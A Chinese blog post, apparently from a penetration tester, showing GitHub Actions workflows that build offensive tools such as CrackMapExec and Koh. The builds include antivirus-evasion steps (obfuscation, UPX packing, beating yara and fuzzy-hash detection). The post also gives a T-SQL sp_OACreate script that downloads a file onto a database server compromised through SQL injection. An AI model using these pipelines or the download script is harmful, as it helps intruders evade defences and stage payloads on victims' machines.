Ps:水一篇,记录一下最近在使用 Github Action 中几个应用例子

之前使用公有CI/CD 服务时,用过 Travis 等一类知名的,但总体使用上来说,感觉并没有 Github Action 那么方便,尤其是可重用大量 Github Action Marketplace 中大量开发者已经制作好的配置或镜像,给一些工作带来了极大的效率。本篇不谈论在网络安全中对于CI/CD服务及其他云上服务的容器或虚拟化的滥用,记得早在 201X 年应该就有文章来写了,随手搜了一下以往的技术文章可以参考如《云服务攻击利用@Syscan360》,本篇也不谈论在类似服务使用过程中由于配置或者交互不当导致敏感信息如Token泄露等问题,随手搜了一下以往文章可以参考如 Github Actions Vulnerabilities。总的来说本篇是在实际应用给自己总结的一篇小笔记。

Github Action Helloworld

使用 Github Action 需要在 Repo 中新建 .github/workflows/helloworld.yml,另外需要注意的是如果使用 Token 进行源管理,要给予响应的 Action 的权限,此时 Github 会自动关联到 Marketplace 中的已有 Actions 方便进行抄写,通常的 Helloworld 会是如下形式:

# This is a basic workflow to help you get started with Actions

name: CI - Github Action Helloworld

# Controls when the workflow will run
on:
  # Triggers the workflow on push or pull request events but only for the "main" branch
  pull_request:
    branches: [ "main" ]

  # Allows you to run this workflow manually from the Actions tab
  workflow_dispatch:

# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
  # This workflow contains a single job called "build"
  build:
    # The type of runner that the job will run on
    runs-on: ubuntu-latest

    # Steps represent a sequence of tasks that will be executed as part of the job
    steps:
      # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it
      - uses: actions/checkout@v3

      # Runs a single command using the runners shell
      - name: Run a one-line script
        run: echo Hello, world!

      # Runs a set of commands using the runners shell
      - name: Run a multi-line script
        run: |
          echo Add other actions to build,
          echo test, and deploy your project.

注释已经十分详细了,这里不再赘述。我们主要关注的项包括:

  • on:在何时进行触发,有大量的事件可供参考,而在我的使用中会习惯性加入workflow_dispatch来进行手动触发,毕竟我不需要一个完整的CD/CI的工作流

  • runs-on:指定了你要跑的 Runner 的操作系统,Gtihub 提供的 Runner 种类不算多,其是基于虚拟化的 Guest 机器方式提供的,所以可以继续套娃容器,比如在里面套个 Docker,每个 Runner 的详细配置可以在这里查看,如 Windows Server 2019

  • steps:在过程中最常用的几个关键字包括 —— uses用于复用已有的 Action,通常会伴随 with关键字用于传递参数,不同的 Action 需要查看文档来提供不同的参数;name用于标识在 Github Action 界面中的显示的每个步骤的名称;run既然和我们 Dockerfile 中的RUN关键字差不多了,用于驱动 Shell 执行指令

基本上掌握如上过程,再加上复用一些常见的 Action,我们就能完成很多在渗透中很多需要重复性的自动化工作。

编译

编译与部署可能是最常使用的场景之一,在渗透中我们会复用大量的开源的渗透工具,这里面面临两个挑战,其一是部分项目并未直接提供 Bin Release 需要自己手动拉取源码进行编译,如果只是一名撸站工对开发环境搭建并不熟悉的话可能会大大影响工作效率;其二是开源项目显然会附赠 yara 的相关规则以对真正恶意软件加以区分,但在实际渗透工作的对抗中不可避免的要对工具进行 Evasion 的处理。我的很多小伙伴为了精细化通常都会在自己的虚拟机中进行处理,如手动编译自己修改过的 Loader 再进行加壳操作等,这里往往可能会留下一些 OpSec 的隐患,如遗留 PDB 路径等(血淋淋的案例不得不提到 PlugX 的溯源报告),

常见的渗透工具,目前主流的开发语言包括了 Python、Go以及C#,下面分别来几个 Action 配置进行举例

对于 Python,有时候会需要做的是使用 PyInstaller 进行打包,以方便在无隧道的情况下上传至目标主机执行,这个过程中可以引入一些字符串混淆或者随机加入垃圾代码的方式来进行 Evasion 处理,配置如下:

name: Package Crackmapexec with Pyinstaller for Windows

on:
  workflow_dispatch:

jobs:
  build:
    runs-on: windows-2019

    steps:
    - uses: actions/checkout@v3

    - name: Set up Python
      uses: actions/setup-python@v4
      with:
        python-version: '3.10'
        architecture: x64

    - name: Clone the crackmapexec
      run: git clone https://github.com/Porchetta-Industries/CrackMapExec

    - name: Install python requirements
      run: |
          cd CrackMapExec
          pip install --upgrade pip wheel setuptools
          pip install -r requirements.txt
          
    - name: Install Pyinstaller
      run: pip install pyinstaller
      
    - name: Evasion
      run: |
          python patch_src.py $PWD\CrackMapExec

    - name: Package crackmapexec for windows
      run: |
          echo $PWD
          pyinstaller -y --dist ./dist/windows $PWD\CrackMapExec\crackmapexec.spec
             
    - name: Run upx
      uses: crazy-max/ghaction-upx@v2
      with:
        version: latest
        files: |
            ./dist/windows/*.exe
        args: -9

    - uses: actions/upload-artifact@v2
      with:
        name: Crackmapexe-Win
        path: ./dist/windows

对于 C# 开发的渗透工具,如 GhostPack 中的 Koh,可以尝试如下配置,你甚至可以应用 InvisibilityCloak 在源码层面做一些 Evasion 处理,或者使用 Dnlib 来对编译好的 Bin 再做第二次 Evasion 处理,在本例中未给出:

name: Compile GhostPack

on:
  workflow_dispatch:

jobs:
  build:
    runs-on: windows-2019

    steps:
    - uses: actions/checkout@v3

    - name: Setup msbuild
      uses: microsoft/setup-msbuild@v1.1
      
    - name: Setup NuGet
      uses: NuGet/setup-nuget@v1
      with:
        nuget-version: latest

    - name: Clone the GhostPack
      run: git clone https://github.com/GhostPack/Koh
        
    - name: Navigate to Workspace
      run: cd $GITHUB_WORKSPACE
      
    - name: Build Koh
      run: |
          cd Koh && echo $PWD
          nuget restore Koh.sln
          msbuild.exe Koh.sln /p:platform="Any CPU" /p:configuration="Release"

    - uses: actions/upload-artifact@v2
      with:
        name: GhostPack-Rubeus
        path: ./Koh/Koh/bin/Release

对于 Go 开发的渗透工具,如 Httpx,想 Patch 后加入特定功能,可以尝试如下配置,你甚至可以再加入 Garble 来做一些自动化的混淆工作,以下配置当做使用了 Goreleaser 来做发布:

name: httpx-patch-releaser

on:
  workflow_dispatch:

permissions:
  contents: write

jobs:
  goreleaser:
    runs-on: ubuntu-latest
    steps:
      -
        name: Checkout
        uses: actions/checkout@v2
        with:
          fetch-depth: 1
      
      -
        name: Fetch all tags
        run: git fetch --force --tags
      
      -
        name: Set up Go
        uses: actions/setup-go@v2
        with:
          go-version: 1.18
      
      -
        name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10' 
      
      -
        name: Checkout httpx project
        run: git clone https://github.com/projectdiscovery/httpx
      
      -
        name: Patch httpx project
        run: |
        	python patch.py
        	cd httpx
        	go mod tidy
      
      -
        name: Run GoReleaser
        uses: goreleaser/goreleaser-action@v3
        with:
          version: latest
          args: release --rm-dist
          workdir: ./httpx
      
      -
        name: Upload assets
        uses: actions/upload-artifact@v3
        with:
          name: httpx-patched
          path: ./httpx/dist/

以上过程中,甚至还可以引入特定的 API 进行交互,如在处理 C2 Loader 的过程获取包含 Payload 数据的特定变量,然后进行编译等等,可以使得每次动态编译后生成的 Bin 包含不同的噪点,混淆如 Windows Defender 类似 Fuzzy Hash 的样本处理技术。

测试

QA可能是另一个常用使用的场景之一,当然我们这里不是说的开发流程中应用 TDD 方式的那种测试编写的用例。在渗透工作中较为常见的场景是对于某一特定服务或者特定应用的 PoC 测试,或者针对 IoT 场景中的某些估计及跨指令集 Bin 的仿真测试,请参考如下两个例子:

某天小伙伴在撸站过程中,碰到一处 MsSQLi 的点,且DB的机器是可以出网的,但是机器本身安装了某些安全防护软件导致特定命令执行有困难,以往的命令行下载技巧应用起来有一些困难,于是其使用了 SP_OACREATE 创建并调用COM组件技巧的来进行文件的下载,其使用的是MSXML2对象,在下载过程中对于大文件偶发性有问题,经过讨论我想尝试进行修改,但我手头并无对应版本的测试环境,于是我想到了使用 Github Action 来快速复用并测试。

在给定 Repo 中新建 xmlhttp.sql:

DECLARE
@vPointer INT,
@vResponseText VARCHAR(8000),
@vStatus INT,
@vStatusText VARCHAR(200)
EXEC sp_OACreate 'MSXML2.ServerXMLHTTP', @vPointer OUTPUT
EXEC sp_OAMethod @vPointer, 'open', NULL, 'GET', 'http://target.com/test.txt'
EXEC sp_OAMethod @vPointer, 'send'
EXEC sp_OAMethod @vPointer, 'responseText', @vResponseText OUTPUT
EXEC sp_OAMethod @vPointer, 'Status', @vStatus OUTPUT
EXEC sp_OAMethod @vPointer, 'StatusText', @vStatusText OUTPUT
EXEC sp_OADestroy @vPointer
Select @vStatus, @vStatusText, @vResponseText

在着手自己编写 Action 来搭建 SQLServer 环境之前,不妨先进行一部分搜索,可以发现这个 Action 已经提供了 Linux 和 Windows 两个 Runner 使用的版本,于是快速手敲不到30行配置,并修改以上 Sql 就可以进行快速的论证了,比如改用Winhttp对象进行下载等是否可以解决以上场景等,由于本篇不是套路此攻击场景,在此不再赘述。mssql-testing.yml 配置如下:

name: SQLServer tesing

on:
  workflow_dispatch:

jobs:
  build:
    runs-on: windows-2019
      
    steps:
    - uses: actions/checkout@v3
    
    - name: Install SQL Server
      uses: Particular/install-sql-server-action@main
      with:
        connection-string-env-var: SQL_SERVER_CONNECTION_STRING
        catalog: mytest
        
    - name: Test sp_oacreate with diff object
      run: |
          echo "Create additional schemas"
          sqlcmd -Q "select @@version" -d "mytest"
          sqlcmd -Q "select IS_SRVROLEMEMBER ( 'sysadmin')  " -d "mytest"
          sqlcmd -Q "select 'Hello World!'" -d "mytest" 
          sqlcmd -i $GITHUB_WORKSPACE\xmlhttp.sql -o result.txt

这里可以选择使用ctions/upload-artifact将 result.txt 的结果上传,或者去掉-o参数,使其在 Github Action 的执行日志中打印结果。

又如业余时间,我会尝试进行一些 IoT 方面的开发与调试,这里往往涉及到不同CPU指令集平台的模拟,诚然社区提供了很多了基于 QEMU 的开源解决方案,但由于模拟不同的指令集,每次改完配置和参数之后又忘记整理,导致再次想要接回上次的测试进度之前浪费了大量时间,而基于重用他人配置好的 Action 就十分简单了,如这个基于 Alphine + QEMU 进行仿真执行的 Action 就提供了不错的使用体验,常用配置如下

name: ARM Bin tesing

on:
  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest
    
  steps:
    - name: Setup Alpine Linux v3.15 for aarch64
      uses: jirutka/setup-alpine@v1
      with:
        arch: aarch64
        branch: v3.15

    - name: Run script inside Alpine chroot with aarch64 emulation
      run: uname -m
      shell: alpine.sh {0}
      
    - name: Testing my bin
    	run: |
    		chmod +x $GITHUB_WORKSPACE\test_bin
    		./$GITHUB_WORKSPACE\test_bin

畅想

Infra As Code的思路大行其道的今天,如果你是有钱人当然可以利用 Terraform 等工具方便的在公有云上快速配置机器;如果你是一个穷鬼比如像我只有一台内存稍大一点的笔记本,也可以利用 PackerVagrant 来快速重用他人已经制作好的 VagrantBox,类似的项目已经有很多,其中一些也同时提供了基于本地虚拟机及云虚拟化环境的方案:

https://github.com/clong/DetectionLab

https://github.com/AutomatedLab/AutomatedLab

https://github.com/Orange-Cyberdefense/GOAD

但在当前 Github Action 提供的 Runner 还缺乏一些网络联动的特性,想白嫖其云上的资源变得有一定难度,并且本身提供的 Runner 的操作系统版本并不丰富,想要测试多台机器伴随组合网络的场景,如 K8s 、Active Directory 场景就不再符合需求了。那么此时我们可能需要引入 Self-hosted Runner,实际上这里就是新建你自己的虚拟机然后安装 Github 提供的 Action Agent,换言之这个过程有点像我们使用 Ansible 来进行一些 DevOps 中的自动化配置,我们这里是不是可以结合 VagrantBox 来做一些工作呢?

当然以上只是我的YY,由于时间原因,我并未来得及进行进一步的尝试,如果有哪位大佬有比较好的方案的话也欢迎PM我,最后 —— “重复三次以上的事情,一定要自动化!!!”

参考

这份《使用GithubActions自动化工作流》中文参考写得言简意赅,推荐之。